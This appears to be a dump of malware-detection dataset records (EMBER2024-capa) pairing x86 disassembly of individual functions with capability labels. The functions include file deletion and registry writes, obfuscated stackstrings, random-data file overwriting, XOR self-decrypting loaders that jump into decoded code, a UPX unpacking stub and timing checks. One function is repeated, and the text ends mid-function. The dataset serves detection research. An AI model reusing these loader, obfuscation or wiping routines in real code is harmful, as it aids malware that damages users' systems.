joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017930
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, 0x1001a408
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, 0x10019cd8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x1001a3f8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.10017850
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push 0x1001a3ec
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.100178b0
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push 0x1001a3dc
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [fcn.1001b9b4]
push 0x10019f4c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push 0x10019f4c
push 2
push ebx
push 0x1001a3d0
push eax
call dword [fcn.1001b9b8]
mov ecx, dword [esp + 0x10]
push ecx
call dword [fcn.1001b9bc]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.10017850
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.100178b0
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x100180a0
Capabilities:
Contain obfuscated stackstrings
Set file attributes

Disassembly:
sub esp, 0x440
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x28]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x6c
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x40], 0x6b
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x6c
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x64
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], 0
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x46
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x454]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ecx
mov dword [esp + 0x64], eax
call ebp
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1001829a
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x4c], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebp, edx
test ebp, ebp
jle 0x10018278
mov edx, edi
and edx, 0x800003ff
jns 0x1001823c
dec edx
or edx, 0xfffffc00
inc edx
jne 0x1001825d
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x4f], dl
jl 0x10018240
lea edx, [esp + 0x4c]
push 0
push edx
lea eax, [esp + 0x58]
push 0x400
push eax
push ebx
call dword [esp + 0x5c]
inc edi
cmp edi, ebp
jl 0x1001822a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1001a050]
mov edx, dword [esp + 0x454]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x440
ret
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x10012330
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1001233f
pop dword [ebp - 0x24]
mov eax, 0x36d5a899
add eax, 0xd92b7aa6
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x4411fe54
add dword [ebp - 0x34], 0xa4046f7
mov dword [ebp - 0x30], 0xa36f87c9
add dword [ebp - 0x30], 0x8ec3c47c
mov dword [ebp - 0x2c], 0xc23dacc6
sub dword [ebp - 0x2c], 0x75f16898
mov dword [ebp - 0x28], 0x74a2601b
add dword [ebp - 0x28], 0x8b5d9fe5
lea eax, [ebp - 0x34]
push eax
mov eax, 0x26c1dce0
sub eax, 0x16c07c80
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xf0eb0ea9
sub dword [ebp - 0x34], 0x7c78a553
mov dword [ebp - 0x30], 0x4f0f1eec
add dword [ebp - 0x30], 0xf25d4289
mov dword [ebp - 0x2c], 0xd67caa2b
sub dword [ebp - 0x2c], 0x730d3dbf
mov dword [ebp - 0x28], 0xee32feae
sub dword [ebp - 0x28], 0xee32feae
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x446db838
sub eax, 0x346c57d4
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3a173
push 0
call eax
mov ecx, 0x5191
xor edx, edx
add edx, eax
mov ebx, 0x6c436159
add ebx, 0xa3bed4a7
add ebx, dword [ebp - 0x24]
mov esi, 0x91331de4
sub esi, 0x57624f3a
sub dword [ebp - 0x14], 0x68bf1a91
mov edi, dword [ebx]
sub dword [ebp - 0x18], 0xec382169
sub edi, esi
xor dword [ebp - 0x1c], 0xcb216745
mov dword [edx], edi
add dword [ebp - 0x20], 0x446c9c5d
add edx, 0x232d6a67
add edx, 0xdcd2959d
add ebx, 0xa41aae02
sub ebx, 0xa41aadfe
loop 0x1001245d
add eax, 0x13917
xor ebx, ebx
add ebx, eax
add eax, 0x54455301
sub eax, 0x544552fc
mov ecx, 0xd1cf98e2
add ecx, 0x3e30671e
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x100023a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x100023f8
cmp byte [esi + ebx - 1], 0xa
je 0x100023cc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x10003118], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x10025cbf
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push 0x64
mov eax, 0x10178e6a
call fcn.10025eb7
mov edi, ecx
and dword [edi + 0x14], 0
mov dword [ebp - 0x4c], edi
mov dword [edi], 1
and dword [ebp - 4], 0
lea ecx, [edi + 0x20]
call fcn.10025eed
mov esi, dword [sym.imp.kernel32.dll_InitializeCriticalSection]
lea eax, [edi + 0x60]
push eax
call esi
xor eax, eax
lea ebx, [edi + 0x84]
mov dword [ebx], eax
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
lea ecx, [edi + 0xa8]
mov byte [ebp - 4], 2
mov dword [edi + 0x90], eax
call fcn.10025f6b
lea eax, [edi + 0xb4]
push eax
call esi
xor esi, esi
mov dword [edi + 0xd8], esi
mov dword [edi + 0xdc], esi
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x34], esi
lea eax, [ebp - 0x30]
push eax
mov byte [ebp - 4], 6
mov dword [edi + 0x90], esi
mov dword [edi + 0x78], esi
mov dword [edi + 0xcc], esi
mov dword [edi + 0xd0], esi
mov dword [edi + 0xd4], esi
mov dword [edi + 0x18], 3
mov dword [edi + 0x1c], esi
mov dword [edi + 0x80], esi
mov dword [ebp - 0x30], 0x20
call dword [sym.imp.kernel32.dll_GlobalMemoryStatus]
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
cmp dword [ebp - 0x6c], 1
mov dword [edi + 0x7c], esi
je 0x10025d9d
mov edx, esi
inc edx
xor eax, eax
inc eax
mov ecx, edx
shl eax, cl
mov dword [edi + 0x7c], edx
cmp eax, dword [ebp - 0x6c]
jne 0x10025d8d
mov eax, 0x4000000
cmp dword [ebp - 0x28], eax
mov dword [edi + 0x98], 0x100
cmovbe eax, dword [ebp - 0x28]
mov ecx, eax
shr ecx, 0xc
mov dword [edi + 0x94], ecx
cmp eax, 0xc00000
jbe 0x10025de7
add eax, 0xff400000
shr eax, 0xe
add eax, 0x100
mov edx, 0xe00
mov dword [edi + 0x98], eax
cmp eax, edx
jbe 0x10025de7
mov dword [edi + 0x98], edx
lea esi, [ecx + 7]
shr esi, 3
push esi
call dword [sym.imp.msvcr100.dll_malloc]
pop ecx
mov dword [edi + 0x90], eax
test eax, eax
jne 0x10025e11
push 1
push 0xfffffc0d
mov ecx, edi
call fcn.10142934
xor ebx, ebx
jmp 0x10025e73
mov dword [ebx], eax
lea eax, [ebp - 0x48]
push eax
mov eax, esi
shl eax, 3
mov dword [ebx + 4], esi
mov edx, dword [ebx + 8]
push eax
mov ecx, ebx
call fcn.10142934
lea eax, [ebp - 0x48]
push eax
push dword [edi + 0x94]
xor edx, edx
mov ecx, ebx
call fcn.10142934
xor ebx, ebx
lea eax, [edi + 0x48]
test byte [eax], 8
mov dword [edi + 0x9c], ebx
mov dword [edi + 0xa4], ebx
mov dword [edi + 0xa0], ebx
mov dword [edi + 0xe0], ebx
mov dword [edi + 0xe4], ebx
mov dword [edi + 0xe8], ebx
je 0x10025e9a
push eax
mov ecx, edi
call fcn.10142934
mov eax, dword [edi + 0x90]
test eax, eax
je 0x10025e85
push eax
call dword [sym.imp.msvcr100.dll_free]
pop ecx
cmp dword [edi + 0x78], 0
je 0x10025e9a
push 0x8000
push ebx
push dword [edi + 0x78]
call dword [sym.imp.kernel32.dll_VirtualFree]
test dword [ebp - 0x48], 0xfffffffe
mov byte [ebp - 4], 5
je 0x10025eaf
lea ecx, [ebp - 0x48]
call fcn.10029a29
mov eax, edi
call fcn.100261b4
ret
Function at 0x1002aaca
Capabilities:
Resume thread

Disassembly:
push 0
mov eax, 0x10178ef5
call fcn.10025c8c
mov esi, ecx
cmp dword [esi + 0x1c], 0
mov ebx, dword [ebp + 0xc]
jne 0x1002ab85
mov eax, dword [esi + 0x18]
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10142934
pop ecx
mov dword [esi + 0x1c], eax
test eax, eax
jne 0x1002ab10
push 1
push 0xfffffc0d
jmp 0x1002aba7
xor edi, edi
cmp dword [esi + 0x18], edi
jbe 0x1002ab85
push 4
call fcn.10142934
pop ecx
mov dword [ebp + 0xc], eax
and dword [ebp - 4], 0
test eax, eax
je 0x1002ab3c
push ebx
push esi
push 0x1005f5f0
mov ecx, eax
call fcn.10142934
mov ecx, eax
jmp 0x1002ab3e
xor ecx, ecx
mov eax, dword [esi + 0x1c]
or dword [ebp - 4], 0xffffffff
mov dword [eax + edi*4], ecx
mov eax, dword [esi + 0x1c]
cmp dword [eax + edi*4], 0
jne 0x1002ab5f
push 1
push 0xfffffc0d
mov ecx, ebx
call fcn.10142934
test byte [ebx], 8
jne 0x1002abb0
xor ecx, ecx
lea eax, [esi + 0xd8]
inc ecx
lock xadd dword [eax], ecx
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + edi*4]
push dword [eax]
call dword [sym.imp.kernel32.dll_ResumeThread]
inc edi
cmp edi, dword [esi + 0x18]
jb 0x1002ab17
mov edi, dword [ebp + 8]
cmp dword [edi + 8], 0
je 0x1002abe1
push dword [edi + 8]
lea ecx, [esi + 0xa8]
call fcn.10142934
test eax, eax
jne 0x1002abe1
push 1
push 0xfffffc0e
mov ecx, ebx
call fcn.10142934
jmp 0x1002abeb
mov eax, dword [esi + 0x1c]
mov ebx, dword [eax + edi*4]
test ebx, ebx
je 0x1002abc8
mov ecx, ebx
call fcn.100b9d03
push ebx
call fcn.10142934
pop ecx
mov eax, dword [esi + 0x1c]
and dword [eax + edi*4], 0
test edi, edi
jne 0x1002abeb
push dword [esi + 0x1c]
call fcn.10142934
and dword [esi + 0x1c], edi
pop ecx
jmp 0x1002abeb
push ebx
push edi
lea ecx, [esi + 0x20]
call fcn.10142934
call fcn.10025f78
ret 8
Function at 0x100581c5
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x70
mov eax, 0x101779a3
call fcn.10025eb7
mov ebx, ecx
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], esi
call fcn.10026c16
call dword [sym.imp.kernel32.dll_GetTickCount]
mov ecx, ebx
mov dword [ebp - 0x58], eax
call fcn.1003bc79
mov ecx, ebx
test eax, eax
je 0x10058247
push 0
call fcn.100583da
xor edi, edi
inc edi
mov ecx, ebx
test eax, eax
je 0x10058217
mov dword [ebp - 0x54], edi
push 0
jmp 0x1005825b
push edi
call fcn.100583da
test eax, eax
je 0x10058242
and dword [ebp - 0x54], 0
push edi
mov ecx, ebx
call fcn.10058582
and dword [ebx + 0xf8], 0xfffffffb
push 0xee3
mov ecx, esi
call fcn.10142934
jmp 0x10058278
mov dword [ebp - 0x54], edi
jmp 0x10058278
xor edi, edi
inc edi
push edi
call fcn.100583da
test eax, eax
je 0x10058262
and dword [ebp - 0x54], 0
push edi
mov ecx, ebx
call fcn.10058582
jmp 0x10058278
push 0xee4
mov ecx, esi
mov dword [ebp - 0x54], edi
call fcn.10142934
or dword [ebx + 0xf8], 4
lea esi, [ebx + 0x68]
mov dword [esi], edi
and dword [ebp - 0x68], 0
mov dword [ebp - 0x7c], edi
push dword [esi]
mov ecx, dword [ebp - 0x64]
and dword [ebp - 4], 0
call fcn.10142934
cmp eax, 0x100
jb 0x1005833b
mov ecx, dword [ebx + 0x44]
lea eax, [ebp - 0x7c]
push eax
mov eax, dword [esi]
push edi
cmp dword [ebp - 0x54], edi
jne 0x100582c1
add eax, 0x100000ff
push eax
call fcn.10142934
mov ecx, dword [ebx + 0x44]
lea eax, [ebp - 0x7c]
push eax
mov eax, dword [esi]
push edi
add eax, sym.acecore.dll_Ordinal_58
push eax
call fcn.10142934
mov eax, dword [ebp - 0x7c]
test al, 1
jne 0x100582dc
cmp dword [ebp - 0x78], 0xfffffbff
je 0x1005833e
or dword [ebp - 4], 0xffffffff
test eax, 0xfffffffe
je 0x100582ef
lea ecx, [ebp - 0x7c]
call fcn.10029a29
cmp dword [esi], 0x100
jb 0x10058361
call fcn.10026c16
call dword [sym.imp.kernel32.dll_GetTickCount]
mov esi, eax
call fcn.10026c16
mov eax, dword [ebp - 0x58]
sub eax, esi
add eax, 0x5dc
lea esi, [ebx + 0x68]
cmp eax, 0x80000000
jb 0x1005827b
cmp dword [esi], 0x100
jb 0x10058361
mov esi, dword [ebp - 0x5c]
push edi
push 0xfffffbdd
mov ecx, esi
call fcn.10142934
jmp 0x10058364
mov eax, dword [ebp - 0x7c]
or dword [ebp - 4], 0xffffffff
test eax, 0xfffffffe
je 0x10058351
lea ecx, [ebp - 0x7c]
call fcn.10029a29
inc dword [esi]
cmp dword [esi], 0x100
jb 0x1005827d
jmp 0x100582ef
mov esi, dword [ebp - 0x5c]
test byte [esi], 8
jne 0x100583d2
push 0x40
lea eax, [ebp - 0x50]
push 0x20
push eax
call sub.msvcr100.dll_memset
add esp, 0xc
push esi
push 0x20
lea eax, [ebp - 0x50]
push eax
call fcn.10026c16
mov ecx, eax
call fcn.10142934
test byte [esi], 8
jne 0x100583d2
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x60]
mov dword [ebp - 0x58], 0x20
call fcn.10142934
test eax, eax
js 0x100583c5
mov ecx, dword [ebx + 0x44]
push esi
push 0x40
lea eax, [ebp - 0x50]
push eax
mov eax, dword [ebx + 0x68]
dec eax
shl eax, 6
push eax
call fcn.100474ab
jmp 0x100583d2
push edi
push 0xfffffc15
mov ecx, esi
call fcn.10142934
call fcn.100261b4
ret 0xc
Function at 0x1005b3bc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x20
mov eax, 0x10177817
call fcn.10025c8c
mov edi, ecx
xor eax, eax
cmp dword [edi + 0x44], eax
je 0x1005b519
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
mov eax, dword [edi + 0x40]
mov esi, dword [eax + 0x38]
mov eax, dword [eax + 0x5c]
mov dword [ebp - 0x10], eax
call fcn.10026c16
call dword [sym.imp.kernel32.dll_GetTickCount]
mov ebx, eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 0xc]
mov ecx, edi
push dword [ebp + 8]
call fcn.1005b521
jmp 0x1005b46e
mov eax, esi
dec esi
mov dword [ebp - 0x14], esi
test eax, eax
je 0x1005b476
lea ecx, [ebp - 0x2c]
call fcn.10029a19
call fcn.10026c16
call dword [sym.imp.kernel32.dll_GetTickCount]
mov esi, eax
call fcn.10026c16
sub ebx, esi
mov esi, dword [ebp - 0x10]
add esi, ebx
cmp esi, 0x80000000
jae 0x1005b44d
call fcn.10026c16
push esi
call dword [sym.imp.kernel32.dll_Sleep]
call fcn.10026c16
call dword [sym.imp.kernel32.dll_GetTickCount]
mov ebx, eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 0xc]
mov ecx, edi
push dword [ebp + 8]
call fcn.1005b521
mov esi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c]
test cl, 8
jne 0x1005b40e
test cl, 1
jne 0x1005b4f8
mov esi, dword [ebp - 0x28]
cmp esi, 0xfffffbae
jl 0x1005b4f8
cmp esi, 0xfffffbaf
jle 0x1005b496
cmp esi, 0xfffffbb2
jne 0x1005b4f8
mov ecx, edi
call fcn.1003bc79
test eax, eax
je 0x1005b4ae
mov eax, dword [ebp + 0x10]
test eax, eax
push 1
cmove eax, esi
push eax
jmp 0x1005b4ee
push dword [ebp + 0xc]
mov ecx, edi
push dword [ebp + 8]
call fcn.100fd338
mov ecx, dword [ebp + 0x10]
test ecx, ecx
jne 0x1005b4d4
mov cl, byte [ebp - 0x2c]
and cl, 1
movsx ecx, cl
neg ecx
sbb ecx, ecx
not ecx
and ecx, dword [ebp - 0x28]
test eax, eax
je 0x1005b4eb
cmp eax, dword [edi + 0x68]
je 0x1005b4eb
push dword [ebp + 0x14]
push eax
push ecx
mov ecx, edi
call fcn.100fd513
jmp 0x1005b504
push 1
push ecx
mov ecx, dword [ebp + 0x14]
call fcn.10142934
jmp 0x1005b504
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 0x2c]
push eax
call fcn.10142934
or dword [ebp - 4], 0xffffffff
test dword [ebp - 0x2c], 0xfffffffe
je 0x1005b519
lea ecx, [ebp - 0x2c]
call fcn.10029a29
call fcn.10025f78
ret 0x10
Function at 0x1013d72e
Capabilities:
Check for time delay via gettickcount

Disassembly:
movzx eax, ax
sub eax, 0
je 0x1013d77a
push esi
dec eax
je 0x1013d753
dec eax
je 0x1013d74f
dec eax
je 0x1013d748
mov esi, dword [0x1019bcac]
jmp 0x1013d761
mov esi, 0x96
jmp 0x1013d756
push 0x64
jmp 0x1013d755
push 0x32
pop esi
mov eax, dword [0x1019bcac]
cmp eax, esi
jae 0x1013d761
mov esi, eax
push edi
call sub.kernel32.dll_GetTickCount
mov edi, eax
test esi, esi
je 0x1013d778
call sub.kernel32.dll_GetTickCount
sub eax, edi
cmp eax, esi
jb 0x1013d76d
pop edi
pop esi
ret

Function at 0x10142934
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x10142943
pop dword [ebp - 8]
mov eax, 0x73986927
add eax, 0x9c7bc01c
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0xad827
push 0
mov eax, 0x4f5e8dfd
sub eax, 0x3f5e7b0d
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0xea9eccf5
sub ecx, 0xea9e8156
xor esi, esi
add esi, eax
mov edx, 0x101a8e00
add edx, dword [ebp - 8]
mov ebx, 0x60bf85bc
add ebx, 0x5f55cecc
xor dword [ebp - 4], 0xa5af73c9
mov edi, dword [edx]
xor dword [ebp - 4], 0x23faa80c
xor edi, ebx
sub dword [ebp - 4], 0xc1a91372
mov dword [esi], edi
xor dword [ebp - 4], ebx
add esi, 4
add edx, 4
loop 0x1014299e
add eax, 0x4b46940d
sub eax, 0x4b4572be
xor ebx, ebx
add ebx, eax
add eax, 0x31d812b4
add eax, 0xce27ed51
mov ecx, 0x385b854b
add ecx, 0xd7a47ab5
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x50b210
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7000]
push edi
jmp 0x50b22a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50b231
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50b220
mov eax, 1
add ebx, ebx
jne 0x50b243
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50b238
jne 0x50b254
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50b238
xor ecx, ecx
sub eax, 3
jb 0x50b268
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50b2da
mov ebp, eax
add ebx, ebx
jne 0x50b273
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x50b280
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x50b2a4
inc ecx
add ebx, ebx
jne 0x50b290
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50b285
jne 0x50b2a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50b285
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50b2c4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50b2b5
jmp 0x50b226
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50b2c4
add edi, ecx
jmp 0x50b226
pop esi
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x50b323
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd97c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd9d4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50b2e1
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd9dc]
or eax, eax
je 0x50b31d
mov dword [ebx], eax
add ebx, 4
jmp 0x50b2fe
call dword [esi + 0xd9d8]
mov ebp, dword [esi + 0xd9e0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1e7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50b357
sub esp, 0xffffff80
jmp 0x501008

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
